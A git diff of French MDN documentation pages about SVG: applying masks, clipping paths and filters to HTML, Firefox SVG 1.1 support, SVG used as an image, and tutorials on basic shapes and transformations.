+    <rect x="0.5" y="0.2" width="300" height="100" fill="url(#gradient-1)"/>
+  </mask>
+</svg>
+
+ +
.target {
+  mask: url(#mask-1);
+}
+p {
+  width: 300px;
+  border: 1px solid #000;
+  display: inline-block;
+}
+ +

Notez que dans ce code CSS, le masque est spécifié à l'aide d'une URL à l'ID #mask-1, qui est l'ID du masque SVG spécifié précédemment. Tout le reste concerne le dégradé.

+ +

L'application d'effet SVG à du (X)HTML est réalisé en affectant la classe cible définie ci-dessus à un élément, comme ceci :

+ +
<p class="target" style="background:lime;">
+    Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt
+    ut labore et dolore magna aliqua. Ut enim ad minim veniam.
+</p>
+<p>
+    Lorem ipsum dolor sit amet, consectetur adipisicing
+    <b class="target">elit, sed do eiusmod tempor incididunt
+    ut labore et dolore magna aliqua.</b>
+    Ut enim ad minim veniam.
+</p>
+
+ +

L'exemple ci-dessus serait rendu avec le masque appliqué.

+ +

{{EmbedLiveSample('Exemple_Application_d\'un_masque', 650, 200)}}

+ +

Exemple : Rogner

+ +

Cet exemple montre comment utiliser un SVG pour rogner du contenu HTML. Remarquez que même les zones cliquables (les liens) sont rognées.

+ +
<p class="target" style="background:lime;">
+    Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt
+    ut labore et dolore magna aliqua. Ut enim ad minim veniam.
+</p>
+<p>
+    Lorem ipsum dolor sit amet, consectetur adipisicing
+    <b class="target">elit, sed do eiusmod tempor incididunt
+    ut labore et dolore magna aliqua.</b>
+    Ut enim ad minim veniam.
+</p>
+
+<button onclick="toggleRadius()">Toggle radius</button>
+
+<svg height="0">
+  <clipPath id="clipping-path-1" clipPathUnits="objectBoundingBox">
+    <circle cx="0.25" cy="0.25" r="0.25" id="circle"/>
+    <rect x="0.5" y="0.2" width="0.5" height="0.8"/>
+  </clipPath>
+</svg>
+
+ +
.target {
+  clip-path: url(#clipping-path-1);
+}
+p {
+  width: 300px;
+  border: 1px solid #000;
+  display: inline-block;
+}
+ +

Ce code crée une zone cliquable en forme de cercle et de rectangle associé à l'ID #clipping-path-1 qui est référencé dans le CSS. clip-path peut être associé à n'importe quel élément avec la classe target.

+ +

Vous pouvez faire des changements en temps réel et vous rendre compte qu'ils affectent immédiatement le rendu HTML. Par exemple, vous pouvez redimensionner le cercle à l'aide du clip-path établi ci-dessus :

+ +
function toggleRadius() {
+  var circle = document.getElementById("circle");
+  circle.r.baseVal.value = 0.40 - circle.r.baseVal.value;
+}
+
+ +

{{EmbedLiveSample('Exemple_Rogner', 650, 200)}}

+ +

Exemple : Filtres

+ +

Cet exemple montre comment utiliser des filtres avec un SVG. À l'aide du CSS, nous appliquons plusieurs filtres à trois éléments à la fois dans leur état normal, que quand ils sont survolés par la souris (hover).

+ +
<p class="target" style="background: lime;">
+    Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt
+    ut labore et dolore magna aliqua. Ut enim ad minim veniam.
+</p>
+<pre class="target">lorem</pre>
+<p>
+    Lorem ipsum dolor sit amet, consectetur adipisicing
+    <b class="target">elit, sed do eiusmod tempor incididunt
+    ut labore et dolore magna aliqua.</b>
+    Ut enim ad minim veniam.
+</p>
+
+ +

N'importe quel filtre SVG peut être appliqué de cette façon. Par exemple, pour appliquer un effet de flou, vous pouvez utiliser :

+ +
<svg height="0">
+  <filter id="f1">
+    <feGaussianBlur stdDeviation="3"/>
+  </filter>
+</svg>
+ +

Vous pouvez aussi appliquer une matrice de transformation des couleurs :

+ +
<svg height="0">
+  <filter id="f2">
+    <feColorMatrix values="0.3333 0.3333 0.3333 0 0
+                           0.3333 0.3333 0.3333 0 0
+                           0.3333 0.3333 0.3333 0 0
+                           0      0      0      1 0"/>
+  </filter>
+</svg>
+
+ +

Et encore d'autres filtres :

+ +
<svg height="0">
+  <filter id="f3">
+    <feConvolveMatrix filterRes="100 100" style="color-interpolation-filters:sRGB"
+      order="3" kernelMatrix="0 -1 0   -1 4 -1   0 -1 0" preserveAlpha="true"/>
+  </filter>
+  <filter id="f4">
+    <feSpecularLighting surfaceScale="5" specularConstant="1"
+                        specularExponent="10" lighting-color="white">
+      <fePointLight x="-5000" y="-10000" z="20000"/>
+    </feSpecularLighting>
+  </filter>
+  <filter id="f5">
+    <feColorMatrix values="1 0 0 0 0
+                           0 1 0 0 0
+                           0 0 1 0 0
+                           0 1 0 0 0" style="color-interpolation-filters:sRGB"/>
+  </filter>
+</svg>
+ +

Les cinq filtres sont appliqués en utilisant le CSS suivant :

+ +
p.target { filter:url(#f3); }
+p.target:hover { filter:url(#f5); }
+b.target { filter:url(#f1); }
+b.target:hover { filter:url(#f4); }
+pre.target { filter:url(#f2); }
+pre.target:hover { filter:url(#f3); }
+
+ +

{{EmbedLiveSample('Exemple_Filtres', 650, 200)}}

+ +

View this example live

+ +

Exemple : Texte flouté

+ +

Pour flouter le texte, Webkit a un filtre CSS (préfixé) appelé blur (voir aussi CSS filter). Vous pouvez obtenir le même effet en utilisant des filtres SVG.

+ +
<p class="blur">Time to clean my glasses</p>
+<svg height="0">
+  <defs>
+    <filter id="wherearemyglasses" x="0" y="0">
+    <feGaussianBlur in="SourceGraphic" stdDeviation="1"/>
+    </filter>
+  </defs>
+</svg>
+
+ +

Vous pouvez appliquer le filtre SVG et le filtre CSS à la même classe :

+ +
.blur { filter: url(#wherearemyglasses); }
+ +

{{ EmbedLiveSample('Exemple_Texte_flouté', 300, 100) }}

+ +

Le floutage est un calcul assez lourd alors utilisez le avec précaution et faites particulièrement attention aux éléments scrollables ou animés.

+ +

Utilisation de références externes

+ +

Vous pouvez utiliser des fichiers externes pour rogner ou pour appliquer des masques et des filtres SVG, tant que cette source vient de la même origine que le document HTML auquel il est appliqué.

+ +

Par exemple, si votre CSS est un fichier nommé default.css, il pourrait contenir le code ci-dessous :

+ +
.target { clip-path: url(resources.svg#c1); }
+ +

Le SVG est alors importé depuis un fichier nommé resources.svg, utilisant clip-path avec l'ID c1.

+ +

Voir aussi

+ + diff --git a/files/fr/web/svg/compatibility_sources/index.html b/files/fr/web/svg/compatibility_sources/index.html new file mode 100644 index 0000000000..49f69f68a7 --- /dev/null +++ b/files/fr/web/svg/compatibility_sources/index.html @@ -0,0 +1,19 @@ +--- +title: Sources des compatibilités +slug: Web/SVG/Sources_compatibilite +tags: + - Compatibilité + - SVG +translation_of: Web/SVG/Compatibility_sources +--- +

Les sources suivantes sont utilisées pour les tableaux de compatibilités des éléments SVG et de leurs attributs :

+ + diff --git a/files/fr/web/svg/sources_compatibilite/index.html b/files/fr/web/svg/sources_compatibilite/index.html deleted file mode 100644 index 49f69f68a7..0000000000 --- a/files/fr/web/svg/sources_compatibilite/index.html +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Sources des compatibilités -slug: Web/SVG/Sources_compatibilite -tags: - - Compatibilité - - SVG -translation_of: Web/SVG/Compatibility_sources ---- -

Les sources suivantes sont utilisées pour les tableaux de compatibilités des éléments SVG et de leurs attributs :

- - diff --git a/files/fr/web/svg/svg_1.1_support_in_firefox/index.html b/files/fr/web/svg/svg_1.1_support_in_firefox/index.html new file mode 100644 index 0000000000..36e4340b97 --- /dev/null +++ b/files/fr/web/svg/svg_1.1_support_in_firefox/index.html @@ -0,0 +1,774 @@ +--- +title: SVG dans Firefox +slug: SVG_dans_Firefox +tags: + - SVG +translation_of: Web/SVG/SVG_1.1_Support_in_Firefox +--- +

Vous trouverez des exemples simples de syntaxe et d'utilisation de SVG sur la page W3C SVG test suite.

+ +

Statut d'implémentation des éléments

+ +
    +
  • SVGPathSegList Interface +
      +
    • Liaisons non implémentées : replaceItem()
      • +
    +
    • +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ÉlémentNotes
Structure Module
svg +
    +
  • Implémenté.
    • +
  • Les attributs DOM currentScale et currentTranslate sont implémentés, mais il n'y a pas d'interface utilisateur pour se déplacer et zoomer.
    • +
  • SVGSVGElement +
      +
    • Attributs non implémentés : contentScriptType, contentStyleType, viewport, useCurrentView, currentView
      • +
    • Liaisons non implémentées : pauseAnimations, unpauseAnimations, animationsPaused, getCurrentTime, setCurrentTime, getIntersectionList, getEnclosureList, checkIntersection, checkEnclosure, deselectAll,
      • +
    • createSVGAngle (implémenté dans Firefox 2), getElementById
      • +
    +
    • +
+
g +
    +
  • Implémenté.
    • +
+
defs +
    +
  • Implémenté.
    • +
+
desc +
    +
  • Implémenté.
    • +
  • Uniquement stocké dans le DOM, pas d'interface utilisateur.
    • +
+
title +
    +
  • Implémenté.
    • +
+
metadata +
    +
  • Implémenté.
    • +
  • Uniquement stocké dans le DOM, pas d'interface utilisateur.
    • +
+
symbol +
    +
  • Implémenté.
    • +
+
use +
    +
  • Implémenté.
    • +
  • Fonctionne uniquement pour les références internes au document ({{ Bug(269482) }}).
    • +
  • Ne suit pas entièrement les règles de cascade <svg:use> ({{ Bug(265894) }}).
    • +
  • Ne délivre pas les évènements à un arbre SVGElementInstance ({{ Bug(265895) }}).
    • +
+
Conditional Processing Module
switch +
    +
  • Implémenté.
    • +
+
Image Module
image +
    +
  • Implémenté.
    • +
+
Style Module
style +
    +
  • Implémenté.
    • +
+
Shape Module
path +
    +
  • Implémenté.
    • +
  • SVGPathElement Interface +
      +
    • Attributs non implémentés : pathLength, normalizedPathSegList, animatedPathSegList, animatedNormalizedPathSegList
      • +
    • Liaisons non implémentées : getTotalLength,
      • +
    • getPointAtLength (implémenté dans Firefox 2), getPathSegAtLength
      • +
    +
    • +
+
rect +
    +
  • Implémenté.
    • +
+
circle +
    +
  • Implémenté.
    • +
+
line +
    +
  • Implémenté.
    • +
+
ellipse +
    +
  • Implémenté.
    • +
+
polyline +
    +
  • Implémenté.
    • +
+
polygon +
    +
  • Implémenté.
    • +
+
Text Module
text +
    +
  • Implémenté.
    • +
  • SVGTextElement +
      +
    • Attributs non implémentés : rotate, textLength, lengthAdjust
      • +
    • Liaisons non implémentées : getNumberOfChars, getSubStringLength, getStartPositionOfChar, getEndPositionOfChar, getRotationOfChar, getCharNumAtPosition, selectSubString
      • +
    • Liaisons non fonctionnelles au cours de onload : getExtentOfChar
      • +
    +
    • +
+
tspan +
    +
  • Implémenté.
    • +
  • SVGTSpanElement +
      +
    • Attributs non implémentés : rotate, textLength, lengthAdjust
      • +
    • Liaisons non implémentées : getNumberOfChars,
      • +
    • getComputedTextLength (implémenté dans Firefox 2), getSubStringLength, getStartPositionOfChar, getEndPositionOfChar, getExtentOfChar, getRotationOfChar, getCharNumAtPosition, selectSubString
      • +
    +
    • +
+
tref +
    +
  • Cette fonctionnalité se trouvait dans les premiers projets de spec et a été retirée par la suite, elle n'est donc pas implémentée
    • +
+
textPath +
    +
  • Implémenté dans Firefox 2.
    • +
  • Attributs non implémentés : method, spacing, textLength, lengthAdjust
    • +
+
altGlyph +
    +
  • Non implémenté.
    • +
+
altGlyphDef +
    +
  • Non implémenté.
    • +
+
altGlyphItem +
    +
  • Non implémenté.
    • +
+
glyphRef +
    +
  • Non implémenté.
    • +
+
Marker Module
marker +
    +
  • Implémenté.
    • +
+
Color Profile Module
color-profile +
    +
  • Non implémenté.
    • +
+
Gradient Module
linearGradient +
    +
  • Implémenté.
    • +
+
radialGradient +
    +
  • Implémenté.
    • +
+
stop +
    +
  • Implémenté.
    • +
+
Pattern Module
pattern +
    +
  • Implémenté.
    • +
+
Clip Module
clipPath +
    +
  • Implémenté.
    • +
+
Mask Module
mask +
    +
  • Implémenté.
    • +
+
Filter Module
filter +
    +
  • Implémenté.
    • +
+
feBlend +
    +
  • Implémenté.
    • +
+
feColorMatrix +
    +
  • Implémenté.
    • +
+
feComponentTransfer +
    +
  • Implémenté.
    • +
+
feComposite +
    +
  • Implémenté.
    • +
+
feConvolveMatrix +
    +
  • Implémenté.
    • +
+
feDiffuseLighting +
    +
  • Implémenté.
    • +
+
feDisplacementMap +
    +
  • Implémenté.
    • +
+
feFlood +
    +
  • Implémenté.
    • +
+
feGaussianBlur +
    +
  • Implémenté.
    • +
+
feImage +
    +
  • Non implémenté.
    • +
+
feMerge +
    +
  • Implémenté.
    • +
+
feMergeNode +
    +
  • Implémenté.
    • +
+
feMorphology +
    +
  • Implémenté.
    • +
+
feOffset +
    +
  • Implémenté.
    • +
+
feSpecularLighting +
    +
  • Implémenté.
    • +
+
feTile +
    +
  • Implémenté.
    • +
+
feTurbulence +
    +
  • Implémenté.
    • +
+
feDistantLight +
    +
  • Implémenté.
    • +
+
fePointLight +
    +
  • Implémenté.
    • +
+
feSpotLight +
    +
  • Implémenté.
    • +
+
feFuncR +
    +
  • Implémenté.
    • +
+
feFuncG +
    +
  • Implémenté.
    • +
+
feFuncB +
    +
  • Implémenté.
    • +
+
feFuncA +
    +
  • Implémenté.
    • +
+
Cursor Module
cursor +
    +
  • Non implémenté ({{Bug(177193)}}).
    • +
+
Hyperlinking Module
a +
    +
  • Implémenté comme une liaison XBL - l'objet n'est pas du type SVGAElement.
    • +
  • Seuls les attributs xlink:href et xlink:show sont implémentés.
    • +
  • Pour l'attribut target, voir le {{ Bug(300868) }}
    • +
+
View Module
view +
    +
  • Implémenté dans Gecko 15.0 ({{Bug(512525)}}). {{gecko_minversion_inline("15.0")}}.
    • +
+
Scripting Module
script +
    +
  • Implémenté.
    • +
+
Animation Module
animate +
    +
  • Implémenté.
    • +
+
set +
    +
  • Implémenté.
    • +
+
animateMotion +
    +
  • Implémenté.
    • +
+
animateTransform +
    +
  • Implémenté.
    • +
+
animateColor +
    +
  • Non implémenté ({{Bug(436296)}}).
    • +
+
mpath +
    +
  • Implémenté.
    • +
+
Font Module
font +
    +
  • Non implémenté ({{Bug(119490)}}).
    • +
+
font-face +
    +
  • Non implémenté.
    • +
+
glyph +
    +
  • Non implémenté.
    • +
+
missing-glyph +
    +
  • Non implémenté.
    • +
+
hkern +
    +
  • Non implémenté.
    • +
+
vkern +
    +
  • Non implémenté.
    • +
+
font-face-src +
    +
  • Non implémenté.
    • +
+
font-face-uri +
    +
  • Non implémenté.
    • +
+
font-face-format +
    +
  • Non implémenté.
    • +
+
font-face-name +
    +
  • Non implémenté.
    • +
+
definition-src +
    +
  • Non implémenté.
    • +
+
Extensibility Module
foreignObject +
    +
  • Implémenté.
    • +
+
+ +

 

diff --git a/files/fr/web/svg/svg_as_an_image/index.html b/files/fr/web/svg/svg_as_an_image/index.html new file mode 100644 index 0000000000..e7acc660e0 --- /dev/null +++ b/files/fr/web/svg/svg_as_an_image/index.html @@ -0,0 +1,74 @@ +--- +title: SVG en tant qu'image +slug: Web/SVG/SVG_en_tant_qu_image +tags: + - Images + - SVG +translation_of: Web/SVG/SVG_as_an_Image +--- +
{{SVGRef}}
+

Le format SVG peut être utilisé en tant qu'image dans de nombreux contextes. Beaucoup de navigateurs prennent en charge les images au format SVG avec :

+ +
    +
  • les balises HTML {{HTMLElement("img")}} ou {{HTMLElement("svg")}}
    • +
  • l'attribut CSS {{cssxref("background-image")}}
    • +
+ +

Contexte spécifique à Gecko

+ +

De plus, Gecko 2.0 {{geckoRelease("2.0")}} prend en charge l'usage du format SVG dans ces contextes:

+ +
    +
  • la propriété CSS {{cssxref("list-style-image")}}
    • +
  • la propriété CSS {{cssxref("content")}}
    • +
  • l'élément SVG {{SVGElement("image")}}
    • +
  • l'élément SVG {{SVGElement("feImage")}}
    • +
  • la fonction Canvas drawImage
    • +
+ +

Restrictions

+ +

Pour plusieurs raisons, Gecko fixe quelques restrictions sur le format SVG lorsqu'il est utilisé en tant qu'image :

+ +
    +
  • JavaScript est désactivé.
    • +
  • Les ressources externes (p. ex. images, stylesheets) ne peuvent pas être chargées, cependant elles peuvent être utilisées en étant déclaré à travers des URLs de données.
    • +
  • Les liens stylistiques {{cssxref(":visited")}}  ne sont pas interprété.
    • +
  • Les widgets stylistiques natifs aux plateformes (basés sur le thème de l'OS) sont désactivés.
    • +
+ +

A noter que les restrictions précédentes sont spécifiques à l'usage de SVG en tant qu'image; elles ne s'appliquent pas lorsque le contenu SVG est vu directement, ou lorsque il est embarqué en tant que document via les éléments {{HTMLElement("iframe")}}, {{HTMLElement("object")}}, ou {{HTMLElement("embed")}}

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML5 W3C", "embedded-content-0.html#the-img-element", "SVG within <img> element")}}{{Spec2("HTML5 W3C")}}Définit l'usage de SVG dans les éléments {{HTMLElement("img")}}.
{{SpecName("CSS3 Backgrounds", "#the-background-image", "SVG within 'background-image' CSS property")}}{{Spec2("CSS3 Backgrounds")}}Définit l'usage de SVG dans la propriété {{cssxref("background-image")}}.
+ +

 

+ +

Voir aussi

+ +

 

+ + diff --git a/files/fr/web/svg/svg_en_tant_qu_image/index.html b/files/fr/web/svg/svg_en_tant_qu_image/index.html deleted file mode 100644 index e7acc660e0..0000000000 --- a/files/fr/web/svg/svg_en_tant_qu_image/index.html +++ /dev/null @@ -1,74 +0,0 @@ ---- -title: SVG en tant qu'image -slug: Web/SVG/SVG_en_tant_qu_image -tags: - - Images - - SVG -translation_of: Web/SVG/SVG_as_an_Image ---- -
{{SVGRef}}
-

Le format SVG peut être utilisé en tant qu'image dans de nombreux contextes. Beaucoup de navigateurs prennent en charge les images au format SVG avec :

- -
    -
  • les balises HTML {{HTMLElement("img")}} ou {{HTMLElement("svg")}}
    • -
  • l'attribut CSS {{cssxref("background-image")}}
    • -
- -

Contexte spécifique à Gecko

- -

De plus, Gecko 2.0 {{geckoRelease("2.0")}} prend en charge l'usage du format SVG dans ces contextes:

- -
    -
  • la propriété CSS {{cssxref("list-style-image")}}
    • -
  • la propriété CSS {{cssxref("content")}}
    • -
  • l'élément SVG {{SVGElement("image")}}
    • -
  • l'élément SVG {{SVGElement("feImage")}}
    • -
  • la fonction Canvas drawImage
    • -
- -

Restrictions

- -

Pour plusieurs raisons, Gecko fixe quelques restrictions sur le format SVG lorsqu'il est utilisé en tant qu'image :

- -
    -
  • JavaScript est désactivé.
    • -
  • Les ressources externes (p. ex. images, stylesheets) ne peuvent pas être chargées, cependant elles peuvent être utilisées en étant déclaré à travers des URLs de données.
    • -
  • Les liens stylistiques {{cssxref(":visited")}}  ne sont pas interprété.
    • -
  • Les widgets stylistiques natifs aux plateformes (basés sur le thème de l'OS) sont désactivés.
    • -
- -

A noter que les restrictions précédentes sont spécifiques à l'usage de SVG en tant qu'image; elles ne s'appliquent pas lorsque le contenu SVG est vu directement, ou lorsque il est embarqué en tant que document via les éléments {{HTMLElement("iframe")}}, {{HTMLElement("object")}}, ou {{HTMLElement("embed")}}

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName("HTML5 W3C", "embedded-content-0.html#the-img-element", "SVG within <img> element")}}{{Spec2("HTML5 W3C")}}Définit l'usage de SVG dans les éléments {{HTMLElement("img")}}.
{{SpecName("CSS3 Backgrounds", "#the-background-image", "SVG within 'background-image' CSS property")}}{{Spec2("CSS3 Backgrounds")}}Définit l'usage de SVG dans la propriété {{cssxref("background-image")}}.
- -

 

- -

Voir aussi

- -

 

- - diff --git a/files/fr/web/svg/tutorial/basic_shapes/index.html b/files/fr/web/svg/tutorial/basic_shapes/index.html new file mode 100644 index 0000000000..aa75f0c0ed --- /dev/null +++ b/files/fr/web/svg/tutorial/basic_shapes/index.html @@ -0,0 +1,156 @@ +--- +title: Formes de base +slug: Web/SVG/Tutoriel/Formes_de_base +tags: + - SVG +translation_of: Web/SVG/Tutorial/Basic_Shapes +--- +

{{ PreviousNext("SVG/Tutoriel/Positionnement", "Web/SVG/Tutoriel/Paths") }}

+ +

Il existe tout un ensemble de formes de base utilisées pour faire du dessin via SVG. Le but de ces formes assez transparent, si on regarde attentivement les noms de chaque élément. Des attributs permettent de configurer leur position et leur taille, mais vous pourrez retrouver les détails de chaque élément avec tous ses attributs à la page des références SVG. Nous nous contenterons ici de couvrir les fonctions de base qui nous sont nécessaires, car elles sont utilisées dans la plupart des documents SVG.

+ +

Ajout de formes

+ +

Pour insérer une forme, vous devez ajouter un élément dans un document. Des éléments différents  correspondent à des formes différentes et ont des attributs différents pour décrire leur taille et leur position. Certaines déclarations sont très fortement redondantes en ce qu'elles peuvent être créées par d'autres formes, mais elles sont toutes là de manière à faciliter votre vie et à rendre le document SVG aussi court et lisible que possible. Toutes les formes de bases sont affichées sur l'image de gauche. Le code pour générer tout cela ressemble à cela :

+ +

+ +
<?xml version="1.0" standalone="no"?>
+<svg width="200" height="250" version="1.1" xmlns="http://www.w3.org/2000/svg">
+
+  <rect x="10" y="10" width="30" height="30" stroke="black" fill="transparent" stroke-width="5"/>
+  <rect x="60" y="10" rx="10" ry="10" width="30" height="30" stroke="black" fill="transparent" stroke-width="5"/>
+
+  <circle cx="25" cy="75" r="20" stroke="red" fill="transparent" stroke-width="5"/>
+  <ellipse cx="75" cy="75" rx="20" ry="5" stroke="red" fill="transparent" stroke-width="5"/>
+
+  <line x1="10" x2="50" y1="110" y2="150" stroke="orange" fill="transparent" stroke-width="5"/>
+  <polyline points="60 110 65 120 70 115 75 130 80 125 85 140 90 135 95 150 100 145"
+      stroke="orange" fill="transparent" stroke-width="5"/>
+
+  <polygon points="50 160 55 180 70 180 60 190 65 205 50 195 35 205 40 190 30 180 45 180"
+      stroke="green" fill="transparent" stroke-width="5"/>
+
+  <path d="M20,230 Q40,205 50,230 T90,230" fill="none" stroke="blue" stroke-width="5"/>
+</svg>
+
+ +
Note : les attributs stroke, stroke-width et fill sont détaillés plus loin dans ce tutoriel.
+ +

Figures de bases

+ +

Rectangles

+ +

L'élément rect, comme son nom ne l'indique peut-être pas, dessine à l'écran des rectangles. Il existe 6 attributs de base qui contrôlent la position et la forme du rectangle dessiné ici. L'image précédente affichait 2 rectangles, ce qui est un peu répétitif. Celui de droite possède des attributs rx et ry définis, ce qui lui donne des coins arrondis. Si ces attributs ne sont pas définis, leur valeur par défaut est de 0, ce qui a pour résultats d'afficher un rectangle avec des angles droits.

+ +
 <rect x="10" y="10" width="30" height="30"/>
+ <rect x="60" y="10" rx="10" ry="10" width="30" height="30"/>
+
+ +
+
x
+
Position du rectangle sur l'axe horizontal par rapport au coin supérieur gauche.
+
y
+
Position du rectangle sur l'axe vertical par rapport au coin supérieur gauche.
+
width
+
Largeur du rectangle.
+
height
+
Hauteur du rectangle.
+
rx
+
Rayon x des coins du rectangle.
+
ry
+
Rayon y des coins du rectangle.
+
+ +

Cercles

+ +

De la même manière, il est facile de deviner la fonction de l'élément circle. Il dessine à l'écran un cercle. Seuls 3 attributs peuvent être définis pour cet élément.

+ +
 <circle cx="25" cy="75" r="20"/>
+
+ +
+
r
+
Rayon du cercle.
+
cx
+
Position x du centre du cercle.
+
cy
+
Position y du centre du cercle.
+
+ +

Ellipses

+ +

Les ellipses sont juste des sortes de cercles bien particuliers, où l'on peut modifier les rayons x et y séparemment l'un de l'autre (les matheux appellent ces rayons le grand axe et le petit axe).

+ +
 <ellipse cx="75" cy="75" rx="20" ry="5"/>
+
+ +
+
rx
+
Rayon x de l'ellipse.
+
ry
+
Rayon y de l'ellipse.
+
cx
+
Position x du centre de l'ellipse.
+
cy
+
Position y du centre de l'ellipse.
+
+ +

Figures complexes

+ +

Lignes

+ +

Les lignes droites permettent de créer des figures plus complexes, en les additionnant les unes avec les autres. L'élément line en SVG correspond au segment que l'on apprend en géométrie traditionnelle : c'est une portion de droite délimitée par 2 points. Donc pour définir une droite en SVG, il va falloir lui donner pour attribut les coordonnées des deux points qui la définissent.

+ +
 <line x1="10" x2="50" y1="110" y2="150"/>
+
+ +
+
x1
+
Position x du premier point.
+
x2
+
Position x du deuxième point.
+
y1
+
Position y du premier point.
+
y2
+
Position y du deuxième point.
+
+ +

Lignes brisées

+ +

Les lignes brisées, aussi appelées lignes polygonales, sont définies par l'élément polyline en SVG. Elles sont constituées d'un ensemble de lignes droites connectées entre elles, donc d'un ensemble de points se reliant entre eux suivant un ordre défini. Comme ce lot de points peut être assez conséquent à déclarer, un seul attribut est utilisé pour déclarer l'ensemble de points :

+ +
 <polyline points="60 110, 65 120, 70 115, 75 130, 80 125, 85 140, 90 135, 95 150, 100 145"/>
+
+ +
+
points
+
Liste des points, chaque pair de nombres correspondant aux coordonnées x et y de chaque point. Chaque position x est séparée de la position y par un espace. Chaque ensemble de coordonnées est séparé du suivant par une virgule.
+
+ +

Polygones

+ +

Le polygone fonctionne exactement de la même manière que la ligne brisée. Au final, un polygone n'est rien d'autre qu'une ligne brisée qui relie une série de points. Toutefois, pour les polygones, le chemin de cette ligne retourne automatiquement au point de départ, créant ainsi une forme fermée. Il est à noter que le rectangle est un type de polygone particulier. Il est donc possible, pour des besoins de flexibilité, de déclarer un rectangle en utilisant l'élément polygon.

+ +
<polygon points="50 160, 55 180, 70 180, 60 190, 65 205, 50 195, 35 205, 40 190, 30 180, 45 180"/>
+ +
+
points
+
Idem que l'attribut points de l'élément polyline. Liste des points, chaque paire de nombres correspondant aux coordonnées x et y de chaque point. Chaque position x est séparée de la position y par un espace, chaque ensemble de coordonnées est séparé du suivant par une virgule. Une dernière ligne ferme automatiquement la forme en retournant au point de départ.
+
+ +

Chemins

+ +

L'élément pour tracer les chemins, très logiquement nommé path, est sûrement la forme la plus généraliste qui peut être utilisée en SVG. Avec un élément path, vous pouvez dessiner un rectangle (avec ou sans coins arrondis), des cercles, des ellipses, des lignes brisées et des polygones. De manière plus basique, il est aussi possible de dessiner d'autres types de formes, comme des courbes de Bézier, des paraboles, et bien plus encore. Pour cette raison, l'élément path en lui même sera un chapitre entier de ce tutoriel, mais pour le moment, nous allons juste voir comment définir cet élément.

+ +
 <path d="M 20 230 Q 40 205, 50 230 T 90230"/>
+
+ +
+
d
+
Un ensemble d'information définissant le chemin à dessiner. Pour en savoir plus, allez à la page à propos des Chemins.
+
+ +

{{ PreviousNext("SVG/Tutoriel/Positionnement", "Web/SVG/Tutoriel/Paths") }}

+ +

Interwiki Languages Links

diff --git a/files/fr/web/svg/tutorial/basic_transformations/index.html b/files/fr/web/svg/tutorial/basic_transformations/index.html new file mode 100644 index 0000000000..2015cab83c --- /dev/null +++ b/files/fr/web/svg/tutorial/basic_transformations/index.html @@ -0,0 +1,113 @@ +--- +title: Transformations de base +slug: Web/SVG/Tutoriel/Transformations_de_base +tags: + - Intermediate + - SVG + - 'SVG:Tutoriel' +translation_of: Web/SVG/Tutorial/Basic_Transformations +--- +

{{ PreviousNext("Web/SVG/Tutoriel/Texts", "Web/SVG/Tutoriel/Découpages_et_masquages") }}

+ +

Maintenant, nous sommes prêts à tordre nos images dans tous les sens. Mais avant toute chose, il faut vous présenter l'élément <g>. Cet assistant va vous permettre d'assigner des attributs à un ensemble d'éléments. En fait, c'est bien son seul rôle. Par exemple :

+ +
+
<svg width="30" height="10">
+    <g fill="red">
+        <rect x="0" y="0" width="10" height="10" />
+        <rect x="20" y="0" width="10" height="10" />
+    </g>
+</svg>
+
+ +

{{ EmbedLiveSample('two_blocks', '30', '10') }}

+ +

Toutes les transformations suivantes sont résumées dans l'attribut transform de l'élément. Les transformations peuvent être mises les unes à la suite des autres, tout simplement en les écrivant toutes dans cet attribut, séparées par des espaces.

+ +

Translation

+ +

Il peut être nécessaire de décaler un élément, même s'il est possible de définir sa position dans ses attributs. Pour ce faire, la fonction translate() est parfaite.

+ +
<svg width="40" height="50" style="background-color:#bff;">
+    <rect x="0" y="0" width="10" height="10" transform="translate(30,40)" />
+</svg>
+ +

Cet exemple a pour résultat un rectangle, qui est déplacé du point (0,0) au point (30,40).

+ +

{{ EmbedLiveSample('Translation', '40', '50') }}

+ +

Si la deuxième valeur de translate() n'est pas définie, elle sera pas défaut assignée à 0.

+ +

Rotation

+ +

Appliquer une rotation à un élément est assez simple : il suffit d'utiliser la fonction rotate().

+ +
<svg width="31" height="31">
+    <rect x="12" y="-10" width="20" height="20" transform="rotate(45)" />
+</svg>
+ +

Cet exemple montre un carré pivoté de 45°. La valeur de la rotation doit être définie en degrés.

+ +

{{ EmbedLiveSample('Rotation', '31', '31') }}

+ +

Transformations multiples

+ +

Les transformations peuvent être concaténées, séparées par des espaces. Par exemple, translate() et rotate() sont couramment utilisées ensemble:

+ +
<svg width="40" height="50" style="background-color:#bff;">
+    <rect x="0" y="0" width="10" height="10" transform="translate(30,40) rotate(45)" />
+</svg>
+ +

{{ EmbedLiveSample('Transformations_multiples', '40', '50') }}

+ +

Cet exemple montre un carré déplacé et pivoté de 45 degrés.

+ +

Déformation

+ +

Pour transformer un rectangle en un losange, vous pouvez utiliser les fonctions skewX() et skewY(). Chacun prend pour attribut un angle qui détermine le biais de l'élément transformé.

+ +

Agrandissement et réduction

+ +

